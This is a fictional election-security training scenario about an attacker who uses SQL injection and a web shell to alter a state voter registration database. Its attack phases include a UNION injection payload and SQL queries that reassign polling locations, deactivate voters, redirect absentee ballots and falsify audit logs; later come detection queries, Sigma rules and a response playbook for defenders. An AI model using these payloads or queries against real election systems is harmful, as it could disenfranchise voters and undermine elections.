SC-068: Election Infrastructure Manipulation — Voter Registration Systems¶

Scenario Overview¶

Narrative¶

DemocracyGuard Foundation, a nonpartisan election security organization, is retained by the fictitious state of New Columbia to conduct a security assessment of the state's voter registration infrastructure ahead of a major election cycle. The assessment is prompted by anomalous reports from three counties where registered voters arriving at polling locations are being told their registrations are inactive or their polling location has changed — despite the voters having made no changes to their registration.

Investigation reveals that a threat actor tracked as CRIMSON BALLOT has been conducting a slow, methodical manipulation campaign against New Columbia's voter registration database system over the past four months. CRIMSON BALLOT exploited a SQL injection vulnerability in the public-facing voter registration lookup portal hosted at voter.newcolumbia.example.gov to gain initial access to the backend database server at 10.100.5.20. From there, the attacker escalated privileges through a web shell planted on the election management application server at 10.100.5.25.

Rather than conducting a dramatic, detectable attack, CRIMSON BALLOT made subtle changes to voter registration records: changing polling locations for voters in targeted precincts, flipping registration status from "active" to "inactive" for specific demographic groups, and modifying mailing addresses to redirect absentee ballot mailings. The changes were made in small batches (50-200 records per night) over months, designed to stay below audit thresholds and appear as routine administrative updates. Simultaneously, CRIMSON BALLOT exfiltrated the complete voter roll database (3.2 million records) to coordinate a parallel disinformation campaign through social media channels.

Attack Flow¶

graph TD
    A[Phase 1: Reconnaissance<br/>OSINT on election infrastructure] --> B[Phase 2: Initial Access<br/>SQL injection on voter lookup portal]
    B --> C[Phase 3: Persistence<br/>Web shell on election management server]
    C --> D[Phase 4: Privilege Escalation<br/>Database admin access via stored credentials]
    D --> E[Phase 5: Voter Data Exfiltration<br/>Bulk download of voter roll database]
    E --> F[Phase 6: Registration Manipulation<br/>Targeted record modifications]
    F --> G[Phase 7: Anti-Forensics<br/>Log tampering and audit trail modification]
    G --> H[Phase 8: Coordinated Disruption<br/>Election day DDoS + disinformation]

Phase Details¶

Phase 1: Reconnaissance — Election Infrastructure OSINT¶

ATT&CK Technique: T1595.002 (Active Scanning: Vulnerability Scanning), T1592 (Gather Victim Host Information)

CRIMSON BALLOT conducts extensive open-source intelligence gathering on New Columbia's election infrastructure:

• Public procurement records reveal the voter registration database software vendor and version
• Job postings for election IT staff disclose technology stack details (Windows Server, SQL Server, IIS)
• State election commission meeting minutes reference the voter lookup portal architecture
• Certificate Transparency logs reveal internal hostnames and certificate structure for *.newcolumbia.example.gov
• WHOIS and DNS enumeration identifies the hosting infrastructure and network ranges (192.0.2.0/24 — public-facing, 10.100.5.0/24 — internal per network diagrams in public RFP documents)

The attacker identifies that the voter registration lookup portal at voter.newcolumbia.example.gov is a legacy ASP.NET application running on IIS 10 with a SQL Server 2019 backend — a common configuration among state and county election systems with limited IT budgets.

Phase 2: Initial Access — SQL Injection¶

ATT&CK Technique: T1190 (Exploit Public-Facing Application)

CRIMSON BALLOT identifies a SQL injection vulnerability in the voter lookup portal's search functionality. The portal allows citizens to look up their registration status by entering their name and date of birth. The search parameter is insufficiently sanitized:

# Simulated SQL injection (educational only — synthetic data)
# Normal request:
GET /lookup?lastname=Smith&dob=1990-01-15 HTTP/1.1
Host: voter.newcolumbia.example.gov

# SQL injection payload:
GET /lookup?lastname=Smith'%20UNION%20SELECT%20name,type,NULL,NULL,NULL%20FROM%20sys.objects%20WHERE%20type='U'--%20&dob=1990-01-15

# Response reveals database tables:
# VoterRegistrations, PollingLocations, PrecinctBoundaries,
# ElectionWorkers, AbsenteeBallotRequests, AuditLog, AdminUsers

The attacker uses the SQL injection to extract administrative credentials stored in the AdminUsers table. The passwords are hashed with MD5 without salt — a critically weak configuration that allows offline cracking within minutes:

# Simulated credential extraction (educational only)
# Username: admin_elections
# Hash: 5f4dcc3b5aa765d61d8327deb882cf99 (MD5 — cracked: REDACTED)
# Role: DatabaseAdmin
# LastLogin: 2026-03-28T16:42:00Z

Phase 3: Persistence — Web Shell Deployment¶

ATT&CK Technique: T1505.003 (Server Software Component: Web Shell)

Using the extracted database admin credentials, CRIMSON BALLOT accesses the election management application's administrative interface and uploads a web shell disguised as a legitimate ASP.NET file:

# Simulated web shell placement (educational only)
# File: /admin/controls/DataGridHelper.aspx
# Location: 10.100.5.25 (Election Management Server)
# Disguised as legitimate ASP.NET control
# Size: 4.2 KB (matches average size of legitimate helper files)
# Modified timestamp: backdated to match last application update

# Web shell capabilities:
# - Command execution via cmd.exe or PowerShell
# - File upload/download
# - Database query execution
# - Network pivoting (proxy mode)

The web shell communicates over standard HTTPS (port 443), blending with legitimate administrative traffic to the election management server. CRIMSON BALLOT accesses the shell from rotating residential proxy IPs to avoid consistent source IP detection.

Phase 4: Privilege Escalation — Database Administrator Access¶

ATT&CK Technique: T1078.002 (Valid Accounts: Domain Accounts)

Through the web shell, CRIMSON BALLOT discovers a configuration file containing the SQL Server sa (system administrator) connection string with plaintext credentials:

# Simulated config file discovery (educational only)
# File: C:\ElectionMgmt\config\database.config
# Content:
<connectionStrings>
  <add name="VoterDB"
       connectionString="Server=10.100.5.20;
       Database=VoterRegistration;
       User Id=sa;
       Password=REDACTED;"
       providerName="System.Data.SqlClient" />
</connectionStrings>

With sa access to the SQL Server instance, the attacker has unrestricted ability to read, modify, and delete any data in the voter registration database — including the audit log tables that record changes to voter records.

Phase 5: Voter Data Exfiltration¶

ATT&CK Technique: T1530 (Data from Cloud Storage Object), T1005 (Data from Local System)

CRIMSON BALLOT exports the complete voter registration database — 3.2 million records containing:

The data is compressed and exfiltrated through the web shell in 50 MB chunks, transferred via HTTPS POST requests to 203.0.113.99 — a server controlled by CRIMSON BALLOT, disguised as a routine data analytics API endpoint.

# Simulated exfiltration indicator (educational only)
# Source: 10.100.5.25 (Election Mgmt Server)
# Destination: 203.0.113.99 (External C2)
# Protocol: HTTPS (port 443)
# Pattern: 50 MB POST requests every 15 minutes
# Duration: 6 hours (3.2 million records = ~4.8 GB compressed)
# Timestamp: 2026-02-15T01:00:00Z to 2026-02-15T07:00:00Z

Phase 6: Voter Registration Manipulation¶

ATT&CK Technique: T1565.001 (Data Manipulation: Stored Data Manipulation), T1565.002 (Data Manipulation: Transmitted Data Manipulation)

Over a four-month period, CRIMSON BALLOT makes targeted modifications to voter registration records. The modifications are designed to be subtle, difficult to detect, and operationally impactful on election day:

Manipulation Type 1: Polling Location Changes

-- Simulated manipulation query (educational only — synthetic data)
-- Change polling locations for voters in targeted precincts
-- Small batches to avoid triggering volume-based alerts
UPDATE VoterRegistrations
SET PollingLocationId = 'LOC-4427'  -- Different location, same county
WHERE PrecinctId IN ('PCT-112', 'PCT-118', 'PCT-125')
AND RegistrationStatus = 'Active'
AND LastModified < '2026-01-01'  -- Target long-unchanged records
AND VoterId IN (SELECT TOP 75 VoterId FROM VoterRegistrations
    WHERE PrecinctId IN ('PCT-112', 'PCT-118', 'PCT-125')
    ORDER BY NEWID())  -- Random selection within precinct
-- Affected: 75 records per batch, 3-4 batches per night
-- Timestamp manipulation: SET LastModified to match admin batch schedule

Manipulation Type 2: Registration Status Changes

-- Simulated manipulation query (educational only — synthetic data)
-- Flip active registrations to inactive
UPDATE VoterRegistrations
SET RegistrationStatus = 'Inactive',
    StatusChangeReason = 'Address confirmation returned undeliverable',
    StatusChangeDate = DATEADD(day, -45, GETDATE())  -- Backdate the change
WHERE VoterId IN (SELECT TOP 50 VoterId FROM VoterRegistrations
    WHERE RegistrationStatus = 'Active'
    AND PrecinctId IN ('PCT-201', 'PCT-208', 'PCT-215')
    ORDER BY NEWID())
-- Affected: 50 records per batch, every 2-3 nights

Manipulation Type 3: Absentee Ballot Mailing Address Changes

-- Simulated manipulation query (educational only — synthetic data)
-- Redirect absentee ballot mailings
UPDATE VoterRegistrations
SET MailingAddress = '1247 Industrial Pkwy, Suite 200'  -- PO box controlled by attacker
WHERE AbsenteeBallotRequested = 1
AND County = 'Franklin'
AND VoterId IN (SELECT TOP 30 VoterId FROM VoterRegistrations
    WHERE AbsenteeBallotRequested = 1
    AND County = 'Franklin'
    ORDER BY NEWID())

Over four months, the cumulative impact:

Phase 7: Anti-Forensics — Audit Trail Manipulation¶

ATT&CK Technique: T1070.004 (Indicator Removal: File Deletion), T1036.005 (Masquerading: Match Legitimate Name or Location)

CRIMSON BALLOT modifies the database audit log to attribute voter record changes to legitimate administrative accounts and routine maintenance processes:

-- Simulated audit log tampering (educational only — synthetic data)
-- Attribute changes to legitimate admin account and routine process
UPDATE AuditLog
SET ModifiedBy = 'admin_maintenance',
    ModificationSource = 'NVRA_Address_Confirmation_Batch',
    SourceIP = '10.100.5.30'  -- Legitimate admin workstation IP
WHERE ModifiedBy = 'sa'
AND ModificationDate > '2026-02-01'
AND TableName = 'VoterRegistrations'

-- Delete web shell access logs from IIS
-- (performed via web shell command execution)
-- Target: C:\inetpub\logs\LogFiles\W3SVC1\
-- Action: Remove log entries containing DataGridHelper.aspx

Phase 8: Election Day Coordinated Disruption¶

ATT&CK Technique: T1498.001 (Network Denial of Service: Direct Network Flood), T1491.002 (Defacement: External Defacement)

On election day, CRIMSON BALLOT executes coordinated disruption:

1. DDoS Attack on Voter Lookup Portal: Launch a volumetric DDoS attack against voter.newcolumbia.example.gov from a botnet, preventing poll workers from verifying voter registration status when voters report discrepancies.

2. Social Media Disinformation: Using the exfiltrated voter roll data, coordinate targeted social media campaigns directing voters to incorrect polling locations, wrong voting dates, or fabricated "system outage" announcements.

3. Provisional Ballot Overload: The combination of incorrect polling locations and inactive registrations forces thousands of voters to cast provisional ballots, which are slower to process and may face legal challenges.

# Simulated DDoS traffic pattern (educational only)
# Target: voter.newcolumbia.example.gov (192.0.2.50)
# Attack type: HTTP flood (Layer 7)
# Volume: 2.5 million requests/second
# Duration: 06:00 - 20:00 (polling hours)
# Sources: distributed botnet (IPs from 198.51.100.0/24 range)
# Impact: Portal unavailable; poll workers cannot verify registrations

Detection Opportunities¶

KQL Detection — SQL Injection Attempts¶

// Detect SQL injection patterns against election web applications
W3CIISLog
| where scStatus == 200
| where csUriQuery has_any ("UNION", "SELECT", "sys.objects",
    "information_schema", "xp_cmdshell", "--", "/**/")
| where csSiteName == "VoterLookupPortal"
| project TimeGenerated, cIP, csUriStem, csUriQuery, scStatus, scBytes
| extend AttackPattern = case(
    csUriQuery has "UNION SELECT", "UNION-based injection",
    csUriQuery has "xp_cmdshell", "Command execution attempt",
    csUriQuery has "sys.objects", "Schema enumeration",
    "Other injection pattern"
)
| summarize AttemptCount = count(), Patterns = make_set(AttackPattern) by cIP, bin(TimeGenerated, 1h)
| where AttemptCount > 5
| sort by AttemptCount desc

KQL Detection — Voter Record Bulk Modifications¶

// Detect unusual volume of voter registration modifications
// Baseline: < 200 modifications per day during non-registration periods
SecurityEvent
| where EventID == 33205  // SQL Server Audit: Database Object Access
| where DatabaseName == "VoterRegistration"
| where Statement has "UPDATE" and Statement has "VoterRegistrations"
| summarize ModificationCount = count(),
    UniqueRecordsModified = dcount(extract("VoterId = '([^']+)'", 1, Statement)),
    ModifyingAccounts = make_set(ServerPrincipalName)
    by bin(TimeGenerated, 1h)
| where ModificationCount > 50
| where TimeGenerated between (datetime(22:00) .. datetime(06:00))  // After hours
| sort by ModificationCount desc

KQL Detection — Web Shell Communication Pattern¶

// Detect web shell access patterns on election management servers
W3CIISLog
| where csSiteName == "ElectionMgmt"
| where csUriStem has_any ("DataGridHelper.aspx", "GridControl.aspx", "Helper.aspx")
| where csMethod in ("POST", "GET")
| summarize RequestCount = count(),
    UniqueSourceIPs = dcount(cIP),
    AvgResponseSize = avg(scBytes),
    TotalBytesTransferred = sum(scBytes),
    SourceIPs = make_set(cIP, 10)
    by csUriStem, bin(TimeGenerated, 1d)
| where RequestCount > 10
| where UniqueSourceIPs > 3  // Rotating source IPs
| sort by TotalBytesTransferred desc

SPL Detection — Database Audit Log Tampering¶

index=mssql sourcetype=mssql:audit
| where database_name="VoterRegistration" AND object_name="AuditLog"
| where action_id IN ("UP", "DL")
| eval is_audit_tampering=if(object_name="AuditLog" AND action_id="UP", "CRITICAL", "WARN")
| where is_audit_tampering="CRITICAL"
| stats count by server_principal_name, database_name, object_name, action_id, _time
| sort -_time
| rename server_principal_name as "Modifying Account", action_id as "Action"

SPL Detection — After-Hours Voter Record Changes¶

index=mssql sourcetype=mssql:audit database_name="VoterRegistration"
| where object_name="VoterRegistrations"
| where action_id="UP"
| eval hour=strftime(_time, "%H")
| eval is_after_hours=if(hour >= "22" OR hour < "06", "YES", "NO")
| where is_after_hours="YES"
| stats count as modifications,
    dc(server_principal_name) as unique_accounts,
    values(server_principal_name) as accounts
    by date_mday, date_month
| where modifications > 25
| sort -modifications
| rename modifications as "After-Hours Modifications", unique_accounts as "Accounts Used"

SPL Detection — Election Day DDoS¶

index=network sourcetype=firewall dest_ip="192.0.2.50"
| bucket _time span=1m
| stats count as requests_per_minute, dc(src_ip) as unique_sources by _time
| where requests_per_minute > 50000
| eval attack_severity=case(
    requests_per_minute > 500000, "CRITICAL",
    requests_per_minute > 100000, "HIGH",
    requests_per_minute > 50000, "MEDIUM"
)
| sort -_time
| table _time, requests_per_minute, unique_sources, attack_severity

Sigma Rule — SQL Injection Against Election Systems¶

title: SQL Injection Attempt Against Voter Registration Portal
id: 3b4c5d6e-7f8a-9b0c-1d2e-3f4a5b6c7d8e
status: experimental
description: Detects SQL injection patterns in web requests targeting voter registration lookup portals
author: Nexus SecOps
date: 2026/04/03
references:
    - https://attack.mitre.org/techniques/T1190/
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-query|contains:
            - 'UNION SELECT'
            - 'UNION ALL SELECT'
            - 'sys.objects'
            - 'information_schema'
            - 'xp_cmdshell'
            - 'sp_oacreate'
            - 'WAITFOR DELAY'
        cs-uri-stem|contains:
            - '/lookup'
            - '/voter'
            - '/registration'
    condition: selection
falsepositives:
    - Security scanner running authorized penetration test
level: critical
tags:
    - attack.initial_access
    - attack.t1190

Sigma Rule — Voter Registration Database Manipulation¶

title: Suspicious Bulk Modification of Voter Registration Records
id: 9e0f1a2b-3c4d-5e6f-7a8b-9c0d1e2f3a4b
status: experimental
description: Detects bulk modifications to voter registration records outside of normal business hours or registration periods
author: Nexus SecOps
date: 2026/04/03
references:
    - https://attack.mitre.org/techniques/T1565/001/
logsource:
    product: mssql
    service: audit
detection:
    selection_table:
        object_name: 'VoterRegistrations'
        action_id: 'UP'
    selection_time:
        - TimeCreated|time: '>=22:00'
        - TimeCreated|time: '<06:00'
    timeframe: 1h
    condition: selection_table and selection_time | count() > 25
falsepositives:
    - Authorized batch processing of voter registration updates
    - NVRA-mandated list maintenance during scheduled windows
level: critical
tags:
    - attack.impact
    - attack.t1565.001

Response Playbook¶

1. Immediate Database Lockdown: Restrict database access to read-only for all non-essential accounts. Change the sa password and all administrative credentials immediately. Disable the web shell by taking the election management application offline temporarily.
2. Voter Portal Protection: Activate DDoS mitigation (CDN/WAF) for voter.newcolumbia.example.gov. If under active DDoS, fail over to a cached, static version of the voter lookup portal.
3. Audit Trail Forensics: Export the complete database audit log before any remediation. Compare audit log entries against Windows Event Logs, IIS logs, and network flow data to identify tampered entries. Rebuild the true audit trail from corroborating log sources.
4. Voter Record Integrity Verification: Compare current voter registration database against the most recent known-good backup taken before the compromise period. Identify all records that were modified and generate a delta report.
5. Affected Voter Notification: For all voters whose records were modified, initiate outbound notification via mail and phone (using pre-compromise contact information from backup) informing them of their correct registration status and polling location.
6. Polling Location Coordination: Distribute corrected voter rolls to all affected polling locations. Brief poll workers on the situation and instruct them to allow provisional ballot voting for any voter who reports a discrepancy.
7. SQL Injection Remediation: Patch the voter lookup portal to use parameterized queries. Deploy a web application firewall (WAF) with SQL injection detection rules. Conduct a full application security assessment of all election-facing web applications.
8. Web Shell Removal and Server Hardening: Remove the web shell from the election management server. Verify server integrity by comparing file hashes against known-good baseline. Rebuild the server from a clean image if integrity cannot be confirmed.
9. Network Segmentation: Implement strict network segmentation between public-facing web servers and backend database servers. The voter lookup portal should access the database through an application-tier API, never through direct SQL connections.
10. Law Enforcement Coordination: Report the incident to the FBI Cyber Division and CISA (Cybersecurity and Infrastructure Security Agency). Preserve all forensic evidence following chain-of-custody procedures. Coordinate with the state Attorney General's office.
11. Disinformation Monitoring: Coordinate with social media platforms to monitor for and flag disinformation campaigns using the exfiltrated voter data. Issue public communications through official channels clarifying accurate voting information.
12. Post-Election Audit: Conduct a comprehensive post-election audit comparing provisional ballot volumes against baseline expectations. Review any legal challenges to election results for connections to the manipulated records.

Lessons Learned¶

• Election systems require defense-in-depth despite budget constraints. Many election systems run legacy software with known vulnerability classes (SQL injection, default credentials). Even basic security controls — parameterized queries, password hashing with salt, network segmentation — would have prevented this attack.
• Audit logs must be tamper-evident. Database audit logs stored in the same database they audit can be modified by anyone with database admin access. Election audit logs should be written to append-only, immutable storage (write-once media, blockchain-anchored hashes, or air-gapped log servers).
• Low-and-slow manipulation is harder to detect than dramatic attacks. Modifying 50-200 records per night over four months is far less likely to trigger alerts than a bulk modification of 9,100 records in one operation. Detection strategies must account for cumulative impact, not just per-event thresholds.
• Voter registration data is both a target and a weapon. Exfiltrated voter rolls enable coordinated disinformation campaigns that amplify the impact of technical attacks. Data protection is not just a privacy concern — it is an election integrity concern.
• Election day disruption compounds registration manipulation. By DDoSing the voter lookup portal on election day, CRIMSON BALLOT prevented poll workers from detecting and correcting the registration manipulations in real time. Resilient, offline-capable voter verification systems are essential.
• Election security is a whole-of-government challenge. County-level IT teams often lack the resources and expertise to defend against nation-state actors. State and federal support (CISA services, EAC grants, Albert sensors) should be proactively deployed, not reactively requested.

Nexus SecOps References¶

• Chapter 30: Application Security — SQL injection prevention and WAF deployment
• Chapter 21: OT/ICS/SCADA Security — Critical infrastructure protection
• Chapter 8: Incident Response — IR procedures
• Chapter 22: Threat Actor Encyclopedia — Nation-state attack patterns
• Chapter 27: Digital Forensics — Database forensics and evidence preservation
• Chapter 49: Threat Intelligence Operations — Attribution and threat actor tracking
• Purple Team Exercise Library — Attack simulation exercises
• IR Playbook: Data Breach Response — Data breach notification procedures